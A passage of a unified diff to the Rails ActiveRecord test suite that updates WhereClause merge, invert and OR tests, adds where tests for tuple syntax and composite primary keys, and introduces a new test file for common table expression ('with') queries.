-      a = WhereClause.new([table["id"].eq(1), table["name"].eq("Sean")], [])
-      b = WhereClause.new([table["name"].eq("Jim")], [])
-      expected = WhereClause.new([table["id"].eq(1), table["name"].eq("Jim")], [])
+      a = WhereClause.new([table["id"].eq(1), table["name"].eq("Sean")])
+      b = WhereClause.new([table["name"].eq("Jim")])
+      expected = WhereClause.new([table["id"].eq(1), table["name"].eq("Jim")])
 
       assert_equal expected, a.merge(b)
     end
 
     test "merge removes bind parameters matching overlapping equality clauses" do
       a = WhereClause.new(
-        [table["id"].eq(bind_param), table["name"].eq(bind_param)],
-        [attribute("id", 1), attribute("name", "Sean")],
+        [table["id"].eq(bind_param(1)), table["name"].eq(bind_param("Sean"))],
       )
       b = WhereClause.new(
-        [table["name"].eq(bind_param)],
-        [attribute("name", "Jim")]
+        [table["name"].eq(bind_param("Jim"))],
       )
       expected = WhereClause.new(
-        [table["id"].eq(bind_param), table["name"].eq(bind_param)],
-        [attribute("id", 1), attribute("name", "Jim")],
+        [table["id"].eq(bind_param(1)), table["name"].eq(bind_param("Jim"))],
       )
 
       assert_equal expected, a.merge(b)
     end
 
     test "merge allows for columns with the same name from different tables" do
-      skip "This is not possible as of 4.2, and the binds do not yet contain sufficient information for this to happen"
-      # We might be able to change the implementation to remove conflicts by index, rather than column name
+      table2 = Arel::Table.new("table2")
+      a = WhereClause.new(
+        [table["id"].eq(bind_param(1)), table2["id"].eq(bind_param(2))],
+      )
+      b = WhereClause.new(
+        [table["id"].eq(bind_param(3))],
+      )
+      expected = WhereClause.new(
+        [table2["id"].eq(bind_param(2)), table["id"].eq(bind_param(3))],
+      )
+
+      assert_equal expected, a.merge(b)
+    end
+
+    test "merge with or/and correctly handles SQL literals and attributes" do
+      a = WhereClause.new([
+        table["id"].eq(1),
+        Arel::Nodes::Grouping.new(Arel.sql("foo = bar"))
+      ])
+      b = (a + WhereClause.new([table["attr_1"].eq("val_1")])).or(
+        WhereClause.new([table["attr_2"].eq("val_2")])
+      )
+
+      expected = WhereClause.new([
+        table["id"].eq(1),
+        Arel::Nodes::Grouping.new(Arel.sql("foo = bar")),
+        Arel::Nodes::Grouping.new(
+          Arel::Nodes::Or.new([
+            Arel::Nodes::And.new([
+              table["id"].eq(1),
+              Arel::Nodes::Grouping.new(Arel.sql("foo = bar")),
+              table["attr_1"].eq("val_1")
+            ]),
+            table["attr_2"].eq("val_2")
+          ])
+        )
+      ])
+
+      assert_equal expected, a.merge(b)
     end
 
     test "a clause knows if it is empty" do
-      assert WhereClause.empty.empty?
-      assert_not WhereClause.new(["anything"], []).empty?
+      assert_empty WhereClause.empty
+      assert_not_empty WhereClause.new([Arel.sql("anything")])
     end
 
     test "invert cannot handle nil" do
-      where_clause = WhereClause.new([nil], [])
+      where_clause = WhereClause.new([nil])
 
       assert_raises ArgumentError do
         where_clause.invert
       end
     end
 
-    test "invert replaces each part of the predicate with its inverse" do
-      random_object = Object.new
+    test "invert wraps the ast inside a NAND node" do
       original = WhereClause.new([
         table["id"].in([1, 2, 3]),
+        table["id"].not_in([1, 2, 3]),
         table["id"].eq(1),
-        "sql literal",
-        random_object
-      ], [])
+        table["id"].not_eq(2),
+        table["id"].gt(1),
+        table["id"].gteq(2),
+        table["id"].lt(1),
+        table["id"].lteq(2),
+        table["id"].is_not_distinct_from(1),
+        table["id"].is_distinct_from(2),
+        Arel.sql("sql literal"),
+      ])
       expected = WhereClause.new([
-        table["id"].not_in([1, 2, 3]),
-        table["id"].not_eq(1),
-        Arel::Nodes::Not.new(Arel::Nodes::SqlLiteral.new("sql literal")),
-        Arel::Nodes::Not.new(random_object)
-      ], [])
+        Arel::Nodes::Not.new(
+          Arel::Nodes::And.new([
+            table["id"].in([1, 2, 3]),
+            table["id"].not_in([1, 2, 3]),
+            table["id"].eq(1),
+            table["id"].not_eq(2),
+            table["id"].gt(1),
+            table["id"].gteq(2),
+            table["id"].lt(1),
+            table["id"].lteq(2),
+            table["id"].is_not_distinct_from(1),
+            table["id"].is_distinct_from(2),
+            Arel::Nodes::Grouping.new(Arel.sql("sql literal")),
+          ])
+        )
+      ])
 
       assert_equal expected, original.invert
     end
 
-    test "accept removes binary predicates referencing a given column" do
+    test "except removes binary predicates referencing a given column" do
       where_clause = WhereClause.new([
         table["id"].in([1, 2, 3]),
-        table["name"].eq(bind_param),
-        table["age"].gteq(bind_param),
-      ], [
-        attribute("name", "Sean"),
-        attribute("age", 30),
+        table["name"].eq(bind_param("Sean")),
+        table["age"].gteq(bind_param(30)),
       ])
-      expected = WhereClause.new([table["age"].gteq(bind_param)], [attribute("age", 30)])
+      expected = WhereClause.new([table["age"].gteq(bind_param(30))])
 
       assert_equal expected, where_clause.except("id", "name")
     end
 
+    test "except jumps over unhandled binds (like with OR) correctly" do
+      wcs = (0..9).map do |i|
+        WhereClause.new([table["id#{i}"].eq(bind_param(i))])
+      end
+
+      wc = wcs[0] + wcs[1] + wcs[2].or(wcs[3]) + wcs[4] + wcs[5] + wcs[6].or(wcs[7]) + wcs[8] + wcs[9]
+
+      expected = wcs[0] + wcs[2].or(wcs[3]) + wcs[5] + wcs[6].or(wcs[7]) + wcs[9]
+      actual = wc.except("id1", "id2", "id4", "id7", "id8")
+
+      assert_equal expected, actual
+    end
+
     test "ast groups its predicates with AND" do
       predicates = [
         table["id"].in([1, 2, 3]),
-        table["name"].eq(bind_param),
+        table["name"].eq(bind_param(nil)),
       ]
-      where_clause = WhereClause.new(predicates, [])
+      where_clause = WhereClause.new(predicates)
       expected = Arel::Nodes::And.new(predicates)
 
       assert_equal expected, where_clause.ast
@@ -126,57 +188,110 @@ class WhereClauseTest < ActiveRecord::TestCase
       random_object = Object.new
       where_clause = WhereClause.new([
         table["id"].in([1, 2, 3]),
-        "foo = bar",
+        Arel.sql("foo = bar"),
         random_object,
-      ], [])
+      ])
       expected = Arel::Nodes::And.new([
         table["id"].in([1, 2, 3]),
         Arel::Nodes::Grouping.new(Arel.sql("foo = bar")),
-        Arel::Nodes::Grouping.new(random_object),
+        random_object,
       ])
 
       assert_equal expected, where_clause.ast
     end
 
     test "ast removes any empty strings" do
-      where_clause = WhereClause.new([table["id"].in([1, 2, 3])], [])
-      where_clause_with_empty = WhereClause.new([table["id"].in([1, 2, 3]), ""], [])
+      where_clause = WhereClause.new([table["id"].in([1, 2, 3])])
+      where_clause_with_empty = WhereClause.new([table["id"].in([1, 2, 3]), Arel.sql("")])
 
       assert_equal where_clause.ast, where_clause_with_empty.ast
     end
 
     test "or joins the two clauses using OR" do
-      where_clause = WhereClause.new([table["id"].eq(bind_param)], [attribute("id", 1)])
-      other_clause = WhereClause.new([table["name"].eq(bind_param)], [attribute("name", "Sean")])
+      where_clause = WhereClause.new([table["id"].eq(bind_param(1))])
+      other_clause = WhereClause.new([table["name"].eq(bind_param("Sean"))])
       expected_ast =
         Arel::Nodes::Grouping.new(
-          Arel::Nodes::Or.new(table["id"].eq(bind_param), table["name"].eq(bind_param))
+          Arel::Nodes::Or.new([table["id"].eq(bind_param(1)), table["name"].eq(bind_param("Sean"))])
         )
-      expected_binds = where_clause.binds + other_clause.binds
 
       assert_equal expected_ast.to_sql, where_clause.or(other_clause).ast.to_sql
-      assert_equal expected_binds, where_clause.or(other_clause).binds
     end
 
     test "or returns an empty where clause when either side is empty" do
-      where_clause = WhereClause.new([table["id"].eq(bind_param)], [attribute("id", 1)])
+      where_clause = WhereClause.new([table["id"].eq(bind_param(1))])
 
       assert_equal WhereClause.empty, where_clause.or(WhereClause.empty)
       assert_equal WhereClause.empty, WhereClause.empty.or(where_clause)
     end
 
-    private
+    test "or places common conditions before the OR" do
+      a = WhereClause.new(
+        [table["id"].eq(bind_param(1)), table["name"].eq(bind_param("Sean"))],
+      )
+      b = WhereClause.new(
+        [table["id"].eq(bind_param(1)), table["hair_color"].eq(bind_param("black"))],
+      )
+
+      common = WhereClause.new(
+        [table["id"].eq(bind_param(1))],
+      )
+
+      or_clause = WhereClause.new([table["name"].eq(bind_param("Sean"))])
+        .or(WhereClause.new([table["hair_color"].eq(bind_param("black"))]))
+
+      assert_equal common + or_clause, a.or(b)
+    end
+
+    test "or can detect identical or as being a common condition" do
+      common_or = WhereClause.new([table["name"].eq(bind_param("Sean"))])
+        .or(WhereClause.new([table["hair_color"].eq(bind_param("black"))]))
 
+      a = common_or + WhereClause.new([table["id"].eq(bind_param(1))])
+      b = common_or + WhereClause.new([table["foo"].eq(bind_param("bar"))])
+
+      new_or = WhereClause.new([table["id"].eq(bind_param(1))])
+        .or(WhereClause.new([table["foo"].eq(bind_param("bar"))]))
+
+      assert_equal common_or + new_or, a.or(b)
+    end
+
+    test "or will use only common conditions if one side only has common conditions" do
+      only_common = WhereClause.new([
+        table["id"].eq(bind_param(1)),
+        Arel.sql("foo = bar"),
+      ])
+
+      common_with_extra = WhereClause.new([
+        table["id"].eq(bind_param(1)),
+        Arel.sql("foo = bar"),
+        table["extra"].eq(bind_param("pluto")),
+      ])
+
+      assert_equal only_common, only_common.or(common_with_extra)
+      assert_equal only_common, common_with_extra.or(only_common)
+    end
+
+    test "supports hash equality" do
+      h = Hash.new(0)
+      h[WhereClause.new([Arel.sql("a")])] += 1
+      h[WhereClause.new([Arel.sql("a")])] += 1
+      h[WhereClause.new([Arel.sql("b")])] += 1
+
+      expected = {
+        WhereClause.new([Arel.sql("a")]) => 2,
+        WhereClause.new([Arel.sql("b")]) => 1
+      }
+      assert_equal expected, h
+    end
+
+    private
       def table
         Arel::Table.new("table")
       end
 
-      def bind_param
-        Arel::Nodes::BindParam.new
-      end
-
-      def attribute(name, value)
-        ActiveRecord::Attribute.with_cast_value(name, value, ActiveRecord::Type::Value.new)
+      def bind_param(value)
+        Arel::Nodes::BindParam.new(value)
       end
   end
 end
diff --git a/activerecord/test/cases/relation/where_test.rb b/activerecord/test/cases/relation/where_test.rb
index ed8ffddcf5878..9cdf500924309 100644
--- a/activerecord/test/cases/relation/where_test.rb
+++ b/activerecord/test/cases/relation/where_test.rb
@@ -1,8 +1,12 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/author"
 require "models/binary"
 require "models/cake_designer"
 require "models/car"
+require "models/category"
+require "models/categorization"
 require "models/chef"
 require "models/post"
 require "models/comment"
@@ -12,10 +16,37 @@
 require "models/topic"
 require "models/treasure"
 require "models/vertex"
+require "models/cpk"
+require "support/stubs/strong_parameters"
 
 module ActiveRecord
   class WhereTest < ActiveRecord::TestCase
-    fixtures :posts, :edges, :authors, :binaries, :essays, :cars, :treasures, :price_estimates
+    fixtures :authors, :author_addresses, :categories, :categorizations, :cars, :treasures, :price_estimates,
+      :binaries, :edges, :essays, :posts, :comments, :topics
+
+    def test_type_casting_nested_joins
+      comment = comments(:eager_other_comment1)
+      assert_equal [comment], Comment.joins(post: :author).where(authors: { id: "2-foo" })
+    end
+
+    def test_where_with_through_association
+      assert_equal [authors(:david)], Author.joins(:comments).where(comments: comments(:greetings))
+      assert_equal [authors(:bob)], Author.joins(:categories).where(categories: categories(:technology))
+    end
+
+    def test_type_cast_is_not_evaluated_at_relation_build_time
+      posts = nil
+
+      assert_not_called_on_instance_of(Type::Value, :cast) do
+        posts = Post.where(id: "1-foo")
+      end
+      assert_equal [posts(:welcome)], posts.to_a
+
+      assert_not_called_on_instance_of(Type::Value, :cast) do
+        posts = Post.where(id: ["1-foo", "bar"])
+      end
+      assert_equal [posts(:welcome)], posts.to_a
+    end
 
     def test_where_copies_bind_params
       author = authors(:david)
@@ -48,10 +79,85 @@ def test_where_copies_arel_bind_params
       assert_equal [chef], chefs.to_a
     end
 
+    def test_where_with_invalid_value
+      topics(:first).update!(parent_id: 0, written_on: nil, bonus_time: nil, last_read: nil)
+      assert_empty Topic.where(parent_id: Object.new)
+      assert_empty Topic.where(parent_id: "not-a-number")
+      assert_empty Topic.where(written_on: "")
+      assert_empty Topic.where(bonus_time: "")
+      assert_empty Topic.where(last_read: "")
+    end
+
     def test_rewhere_on_root
       assert_equal posts(:welcome), Post.rewhere(title: "Welcome to the weblog").first
     end
 
+    def test_where_with_tuple_syntax
+      first_topic = topics(:first)
+      third_topic = topics(:third)
+
+      key = [:title, :author_name]
+
+      conditions = [
+        [first_topic.title, first_topic.author_name],
+        [third_topic.title, third_topic.author_name],
+      ]
+
+      assert_equal [first_topic], Topic.where([:id] => [[first_topic.id]])
+      assert_equal [first_topic, third_topic].sort, Topic.where(key => conditions).sort
+    end
+
+    def test_where_with_tuple_syntax_on_composite_models
+      book_one = Cpk::Book.create!(id: [1, 2])
+      book_two = Cpk::Book.create!(id: [3, 4])
+
+      assert_equal [book_one], Cpk::Book.where([:author_id, :id] => [[1, 2]])
+      assert_equal [book_one, book_two].sort, Cpk::Book.where(Cpk::Book.primary_key => [[1, 2], [3, 4]]).sort
+      assert_empty Cpk::Book.where([:author_id, :id] => [[1, 4], [3, 2]])
+    end
+
+    def test_where_with_tuple_syntax_with_incorrect_arity
+      error = assert_raise ArgumentError do
+        Cpk::Book.where([:one, :two, :three] => [1, 2, 3])
+      end
+
+      assert_match(/Expected corresponding value for.*to be an Array/, error.message)
+
+      error = assert_raise ArgumentError do
+        Cpk::Book.where([:one, :two] => 1)
+      end
+
+      assert_match(/Expected corresponding value for.*to be an Array/, error.message)
+    end
+
+    def test_where_with_tuple_syntax_and_regular_syntax_combined
+      book_one = Cpk::Book.create!(id: [1, 2], title: "The Alchemist")
+      book_two = Cpk::Book.create!(id: [3, 4], title: "The Alchemist")
+
+      assert_equal [book_one, book_two].sort, Cpk::Book.where(title: "The Alchemist").sort
+      assert_equal [book_one, book_two].sort, Cpk::Book.where(title: "The Alchemist", [:author_id, :id] => [[1, 2], [3, 4]]).sort
+      assert_equal [book_two], Cpk::Book.where(title: "The Alchemist", [:author_id, :id] => [[3, 4]])
+    end
+
+    def test_with_tuple_syntax_and_large_values_list
+      # sqlite3 raises "Expression tree is too large (maximum depth 1000)"
+      skip if current_adapter?(:SQLite3Adapter)
+
+      assert_nothing_raised do
+        ids = [[1, 2]] * 1500
+        Cpk::Book.where([:author_id, :id] => ids).to_sql
+      end
+    end
+
+    def test_where_with_nil_cpk_association
+      order = Cpk::Order.create!(id: [1, 2])
+      book = order.books.create!(id: [3, 4])
+      assert_includes Cpk::Book.where(order: order), book
+
+      book.update!(order: nil)
+      assert_includes Cpk::Book.where(order: nil), book
+    end
+
     def test_belongs_to_shallow_where
       author = Author.new
       author.id = 1
@@ -103,6 +209,45 @@ def test_polymorphic_shallow_where
       assert_equal expected.to_sql, actual.to_sql
     end
 
+    def test_where_not_polymorphic_association
+      sapphire = treasures(:sapphire)
+
+      all = [treasures(:diamond), sapphire, cars(:honda), sapphire]
+      assert_equal all, PriceEstimate.all.sort_by(&:id).map(&:estimate_of)
+
+      actual = PriceEstimate.where.not(estimate_of: sapphire)
+      only = PriceEstimate.where(estimate_of: sapphire)
+
+      expected = all - [sapphire]
+      assert_equal expected, actual.sort_by(&:id).map(&:estimate_of)
+      assert_equal all - expected, only.sort_by(&:id).map(&:estimate_of)
+    end
+
+    def test_where_not_polymorphic_id_and_type_as_nand
+      sapphire = treasures(:sapphire)
+
+      all = [treasures(:diamond), sapphire, cars(:honda), sapphire]
+      assert_equal all, PriceEstimate.all.sort_by(&:id).map(&:estimate_of)
+
+      actual = PriceEstimate.where.not(estimate_of_type: sapphire.class.polymorphic_name, estimate_of_id: sapphire.id)
+      only = PriceEstimate.where(estimate_of_type: sapphire.class.polymorphic_name, estimate_of_id: sapphire.id)
+
+      expected = all - [sapphire]
+      assert_equal expected, actual.sort_by(&:id).map(&:estimate_of)
+      assert_equal all - expected, only.sort_by(&:id).map(&:estimate_of)
+    end
+
+    def test_where_not_association_as_nand
+      sapphire = treasures(:sapphire)
+      treasure = Treasure.create!(name: "my_treasure")
+      PriceEstimate.create!(estimate_of: treasure, price: 2, currency: "USD")
+
+      expected = [treasures(:diamond), sapphire, sapphire]
+      actual = Treasure.joins(:price_estimates).where.not(price_estimates: { price: 2, currency: "USD" })
+
+      assert_equal expected.sort_by(&:id), actual.sort_by(&:id)
+    end
+
     def test_polymorphic_nested_array_where
       treasure = Treasure.new
       treasure.id = 1
@@ -115,13 +260,23 @@ def test_polymorphic_nested_array_where
       assert_equal expected.to_sql, actual.to_sql
     end
 
+    def test_polymorphic_nested_array_where_not
+      treasure = treasures(:diamond)
+      car = cars(:honda)
+
+      expected = [price_estimates(:sapphire_1), price_estimates(:sapphire_2)]
+      actual   = PriceEstimate.where.not(estimate_of: [treasure, car])
+
+      assert_equal expected.sort_by(&:id), actual.sort_by(&:id)
+    end
+
     def test_polymorphic_array_where_multiple_types
       treasure_1 = treasures(:diamond)
       treasure_2 = treasures(:sapphire)
       car = cars(:honda)
 
       expected = [price_estimates(:diamond), price_estimates(:sapphire_1), price_estimates(:sapphire_2), price_estimates(:honda)].sort
-      actual   = PriceEstimate.where(estimate_of: [treasure_1, treasure_2, car]).to_a.sort
+      actual = PriceEstimate.where(estimate_of: [treasure_1, treasure_2, car]).to_a.sort
 
       assert_equal expected, actual
     end
@@ -173,8 +328,8 @@ def is_a?(klass)
           model.is_a?(klass)
         end
 
-        def method_missing(method, *args, &block)
-          model.send(method, *args, &block)
+        def method_missing(...)
+          model.send(...)
         end
       end
 
@@ -240,7 +395,12 @@ def test_where_with_boolean_for_string_column
     end
 
     def test_where_with_decimal_for_string_column
-      count = Post.where(title: BigDecimal.new(0)).count
+      count = Post.where(title: BigDecimal(0)).count
+      assert_equal 0, count
+    end
+
+    def test_where_with_rational_for_string_column
+      count = Post.where(title: Rational(0)).count
       assert_equal 0, count
     end
 
@@ -254,6 +414,12 @@ def test_where_with_integer_for_binary_column
       assert_equal 0, count
     end
 
+    def test_where_with_emoji_for_binary_column
+      Binary.create!(data: "🥦")
+      assert Binary.where(data: ["🥦", "�"]).to_sql.include?("f09fa5a6")
+      assert Binary.where(data: ["🥦", "�"]).to_sql.include?("f09f8da6")
+    end
+
     def test_where_on_association_with_custom_primary_key
       author = authors(:david)
       essay = Essay.where(writer: author).first
@@ -271,7 +437,7 @@ def test_where_on_association_with_custom_primary_key_with_relation
     def test_where_on_association_with_relation_performs_subselect_not_two_queries
       author = authors(:david)
 
-      assert_queries(1) do
+      assert_queries_count(1) do
         Essay.where(writer: Author.where(id: author.id)).to_a
       end
     end
@@ -289,34 +455,61 @@ def test_where_on_association_with_custom_primary_key_with_array_of_ids
       assert_equal essays(:david_modest_proposal), essay
     end
 
-    def test_where_with_strong_parameters
-      protected_params = Class.new do
-        attr_reader :permitted
-        alias :permitted? :permitted
+    def test_where_with_relation_on_has_many_association
+      essay = essays(:david_modest_proposal)
+      author = Author.where(essays: Essay.where(id: essay.id)).first
 
-        def initialize(parameters)
-          @parameters = parameters
-          @permitted = false
-        end
+      assert_equal authors(:david), author
+    end
 
-        def to_h
-          @parameters
-        end
+    def test_where_with_relation_on_has_one_association
+      author = authors(:david)
+      author_address = AuthorAddress.where(author: Author.where(id: author.id)).first
+      assert_equal author_addresses(:david_address), author_address
+    end
 
-        def permit!
-          @permitted = true
-          self
-        end
-      end
+    def test_where_on_association_with_select_relation
+      essay = Essay.where(author: Author.where(name: "David").select(:name)).take
+      assert_equal essays(:david_modest_proposal), essay
+    end
+
+    def test_where_on_association_with_collection_polymorphic_relation
+      treasures = Treasure.where(name: ["diamond", "emerald"], price_estimates: PriceEstimate.all)
+      assert_equal [treasures(:diamond)], treasures
+    end
 
+    def test_where_with_strong_parameters
       author = authors(:david)
-      params = protected_params.new(name: author.name)
+      params = ProtectedParams.new(name: author.name)
       assert_raises(ActiveModel::ForbiddenAttributesError) { Author.where(params) }
       assert_equal author, Author.where(params.permit!).first
     end
 
+    def test_where_with_large_number
+      assert_equal [authors(:bob)], Author.where(id: [3, 9223372036854775808])
+      assert_equal [authors(:bob)], Author.where(id: 3..9223372036854775808)
+    end
+
+    def test_to_sql_with_large_number
+      assert_equal [authors(:bob)], Author.find_by_sql(Author.where(id: [3, 9223372036854775808]).to_sql)
+      assert_equal [authors(:bob)], Author.find_by_sql(Author.where(id: 3..9223372036854775808).to_sql)
+    end
+
     def test_where_with_unsupported_arguments
       assert_raises(ArgumentError) { Author.where(42) }
     end
+
+    def test_invert_where
+      author = authors(:david)
+      posts = author.posts.where.not(id: 1)
+
+      assert_equal 1, posts.invert_where.first.id
+    end
+
+    def test_nested_conditional_on_enum
+      post = Post.first
+      Comment.create!(label: :default, post: post, body: "Nice weather today")
+      assert_equal [post], Post.joins(:comments).where(comments: { label: :default, body: "Nice weather today" }).to_a
+    end
   end
 end
diff --git a/activerecord/test/cases/relation/with_test.rb b/activerecord/test/cases/relation/with_test.rb
new file mode 100644
index 0000000000000..d0b6e6c87b139
--- /dev/null
+++ b/activerecord/test/cases/relation/with_test.rb
@@ -0,0 +1,161 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/comment"
+require "models/post"
+require "models/company"
+
+module ActiveRecord
+  class WithTest < ActiveRecord::TestCase
+    fixtures :comments, :posts, :companies
+
+    SPECIAL_POSTS = [2].freeze
+    POSTS_WITH_TAGS = [1, 2, 7, 8, 9, 10, 11].freeze
+    POSTS_WITH_COMMENTS = [1, 2, 4, 5, 7].freeze
+    POSTS_WITH_MULTIPLE_COMMENTS = [1, 4, 5].freeze
+    POSTS_WITH_TAGS_AND_COMMENTS = (POSTS_WITH_COMMENTS & POSTS_WITH_TAGS).sort.freeze
+    POSTS_WITH_TAGS_AND_MULTIPLE_COMMENTS = (POSTS_WITH_MULTIPLE_COMMENTS & POSTS_WITH_TAGS).sort.freeze
+
+    if ActiveRecord::Base.lease_connection.supports_common_table_expressions?
+      def test_with_when_hash_is_passed_as_an_argument
+        relation = Post
+          .with(posts_with_comments: Post.where("legacy_comments_count > 0"))
+          .from("posts_with_comments AS posts")
+
+        assert_equal POSTS_WITH_COMMENTS, relation.order(:id).pluck(:id)
+      end
+
+      def test_with_when_hash_with_multiple_elements_of_different_type_is_passed_as_an_argument
+        cte_options = {
+          posts_with_tags: Post.arel_table.project(Arel.star).where(Post.arel_table[:tags_count].gt(0)),
+          posts_with_tags_and_truthy: Arel.sql("SELECT * FROM posts_with_tags WHERE 1=1"),
+          posts_with_tags_and_comments: Arel.sql("SELECT * FROM posts_with_tags_and_truthy WHERE legacy_comments_count > ?", 0),
+          "posts_with_tags_and_multiple_comments" => Post.where("legacy_comments_count > 1").from("posts_with_tags_and_comments AS posts")
+        }
+        relation = Post.with(cte_options).from("posts_with_tags_and_multiple_comments AS posts")
+
+        assert_equal POSTS_WITH_TAGS_AND_MULTIPLE_COMMENTS, relation.order(:id).pluck(:id)
+      end
+
+      def test_with_when_invalid_argument_is_passed
+        assert_raises ArgumentError, match: /\AUnsupported argument type: #<Post:0x[0-9a-f]+> Post\z/ do
+          Post.with(Post.where(type: "Post"))
+        end
+      end
+
+      def test_multiple_with_calls
+        relation = Post
+          .with(posts_with_tags: Post.where("tags_count > 0"))
+          .from("posts_with_tags_and_comments AS posts")
+          .with(posts_with_tags_and_comments: Arel.sql("SELECT * FROM posts_with_tags WHERE legacy_comments_count > 0"))
+
+        assert_equal POSTS_WITH_TAGS_AND_COMMENTS, relation.order(:id).pluck(:id)
+      end
+
+      def test_multiple_duplicate_with_calls
+        posts_with_tags = Post.where("tags_count > 0")
+        relation = Post
+          .with(posts_with_tags: posts_with_tags, one_more_posts_with_tags: posts_with_tags)
+          .with(posts_with_tags: posts_with_tags)
+          .from("posts_with_tags AS posts")
+
+        assert_equal POSTS_WITH_TAGS, relation.order(:id).pluck(:id)
+      end
+
+      def test_count_after_with_call
+        relation = Post.with(posts_with_comments: Post.where("legacy_comments_count > 0"))
+
+        assert_equal Post.count, relation.count
+        assert_equal POSTS_WITH_COMMENTS.size, relation.from("posts_with_comments AS posts").count
+        assert_equal POSTS_WITH_COMMENTS.size, relation.joins("JOIN posts_with_comments ON posts_with_comments.id = posts.id").count
+      end
+
+      def test_with_when_called_from_active_record_scope
+        assert_equal POSTS_WITH_TAGS, Post.with_tags_cte.order(:id).pluck(:id)
+      end
+
+      def test_with_when_invalid_params_are_passed
+        assert_raise(ArgumentError) { Post.with(posts_with_tags: nil).load }
+        assert_raise(ArgumentError) { Post.with(posts_with_tags: [Post.where("tags_count > 0"), 5]).load }
+      end
+
+      def test_with_when_passing_arrays
+        relation = Post
+          .with(posts_with_special_type_or_tags_or_comments: [
+            Post.where(type: "SpecialPost"),
+            Arel.sql("SELECT * FROM posts WHERE tags_count > 0"), # arel node on purpose
+            Post.where("legacy_comments_count > 0")
+          ])
+          .from("posts_with_special_type_or_tags_or_comments AS posts")
+
+        assert_equal (SPECIAL_POSTS + POSTS_WITH_TAGS + POSTS_WITH_COMMENTS).sort, relation.order(:id).pluck(:id)
+      end
+
+      def test_with_when_passing_single_item_array
+        relation = Post
+          .with(posts_with_special_type_or_tags_or_comments: [Post.where(type: "SpecialPost")])
+          .from("posts_with_special_type_or_tags_or_comments AS posts")
+
+        assert_equal SPECIAL_POSTS.sort, relation.order(:id).pluck(:id)
+      end
+
+      def test_with_recursive
+        top_companies = Company.where(firm_id: nil).to_a
+        child_companies = Company.where(firm_id: top_companies).to_a
+        top_companies_and_children = (top_companies.map(&:id) + child_companies.map(&:id)).sort
+
+        relation = Company.with_recursive(
+          top_companies_and_children: [
+            Company.where(firm_id: nil),
+            Company.joins("JOIN top_companies_and_children ON companies.firm_id = top_companies_and_children.id"),
+          ]
+        ).from("top_companies_and_children AS companies")
+
+        assert_equal top_companies_and_children, relation.order(:id).pluck(:id)
+        assert_match "WITH RECURSIVE", relation.to_sql
+      end
+
+      def test_with_joins
+        relation = Post
+          .with(commented_posts: Comment.select(:post_id).distinct)
+          .joins(:commented_posts)
+
+        assert_equal POSTS_WITH_COMMENTS, relation.order(:id).pluck(:id)
+      end
+
+      def test_with_left_joins
+        relation = Post
+          .with(commented_posts: Comment.select(:post_id).distinct)
+          .left_outer_joins(:commented_posts)
+          .select("posts.*, commented_posts.post_id as has_comments")
+
+        records = relation.order(:id).to_a
+
+        # Make sure we load all records (thus, left outer join is used)
+        assert_equal Post.count, records.size
+        assert_equal POSTS_WITH_COMMENTS, records.filter_map { _1.id if _1.has_comments }
+      end
+
+      def test_raises_when_using_block
+        assert_raises(ArgumentError, match: "does not accept a block") do
+          Post.with(attributes_for_inspect: :id) { }
+        end
+      end
+
+      def test_unscoping
+        relation = Post.with(posts_with_comments: Post.where("legacy_comments_count > 0"))
+
+        assert_equal true, relation.values[:with].flat_map(&:keys).include?(:posts_with_comments)
+        relation = relation.unscope(:with)
+        assert_nil relation.values[:with]
+        assert_equal Post.count, relation.count
+      end
+    else
+      def test_common_table_expressions_are_unsupported
+        assert_raises ActiveRecord::StatementInvalid do
+          Post.with_tags_cte.order(:id).pluck(:id)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/relation_test.rb b/activerecord/test/cases/relation_test.rb
index 1241bb54a4ce4..f88e5021601e5 100644
--- a/activerecord/test/cases/relation_test.rb
+++ b/activerecord/test/cases/relation_test.rb
@@ -1,128 +1,141 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/post"
 require "models/comment"
 require "models/author"
 require "models/rating"
+require "models/categorization"
 
 module ActiveRecord
   class RelationTest < ActiveRecord::TestCase
-    fixtures :posts, :comments, :authors
-
-    FakeKlass = Struct.new(:table_name, :name) do
-      extend ActiveRecord::Delegation::DelegateCache
-
-      inherited self
-
-      def self.connection
-        Post.connection
-      end
-
-      def self.table_name
-        "fake_table"
-      end
-
-      def self.sanitize_sql_for_order(sql)
-        sql
-      end
-    end
+    fixtures :posts, :comments, :authors, :author_addresses, :ratings, :categorizations
 
     def test_construction
-      relation = Relation.new(FakeKlass, :b, nil)
-      assert_equal FakeKlass, relation.klass
+      relation = Relation.new(FakeKlass, table: :b)
+      assert_equal FakeKlass, relation.model
       assert_equal :b, relation.table
-      assert !relation.loaded, "relation is not loaded"
+      assert_not relation.loaded, "relation is not loaded"
     end
 
     def test_responds_to_model_and_returns_klass
-      relation = Relation.new(FakeKlass, :b, nil)
+      relation = Relation.new(FakeKlass)
       assert_equal FakeKlass, relation.model
     end
 
     def test_initialize_single_values
-      relation = Relation.new(FakeKlass, :b, nil)
-      (Relation::SINGLE_VALUE_METHODS - [:create_with, :readonly]).each do |method|
-        assert_nil relation.send("#{method}_value"), method.to_s
+      relation = Relation.new(FakeKlass)
+      (Relation::SINGLE_VALUE_METHODS - [:create_with]).each do |method|
+        assert_nil relation.public_send("#{method}_value"), method.to_s
       end
-      assert_equal false, relation.readonly_value
       value = relation.create_with_value
       assert_equal({}, value)
       assert_predicate value, :frozen?
     end
 
     def test_multi_value_initialize
-      relation = Relation.new(FakeKlass, :b, nil)
+      relation = Relation.new(FakeKlass)
       Relation::MULTI_VALUE_METHODS.each do |method|
-        values = relation.send("#{method}_values")
+        values = relation.public_send("#{method}_values")
         assert_equal [], values, method.to_s
         assert_predicate values, :frozen?, method.to_s
       end
     end
 
+    def test_multi_values_deduplication_with_merge
+      expected = {
+        unscope:   [ :where ],
+        extending: [ Module.new ],
+        with:      [ foo: Post.all ],
+      }
+      expected.default = [ Object.new ]
+
+      Relation::MULTI_VALUE_METHODS.each do |method|
+        getter, setter = "#{method}_values", "#{method}_values="
+        values = expected[method]
+        relation = Relation.new(FakeKlass)
+        relation.public_send(setter, values)
+
+        assert_equal values, relation.public_send(getter), method
+        assert_equal values, relation.merge(relation).public_send(getter), method
+      end
+    end
+
     def test_extensions
-      relation = Relation.new(FakeKlass, :b, nil)
+      relation = Relation.new(FakeKlass)
       assert_equal [], relation.extensions
     end
 
     def test_empty_where_values_hash
-      relation = Relation.new(FakeKlass, :b, nil)
+      relation = Relation.new(FakeKlass)
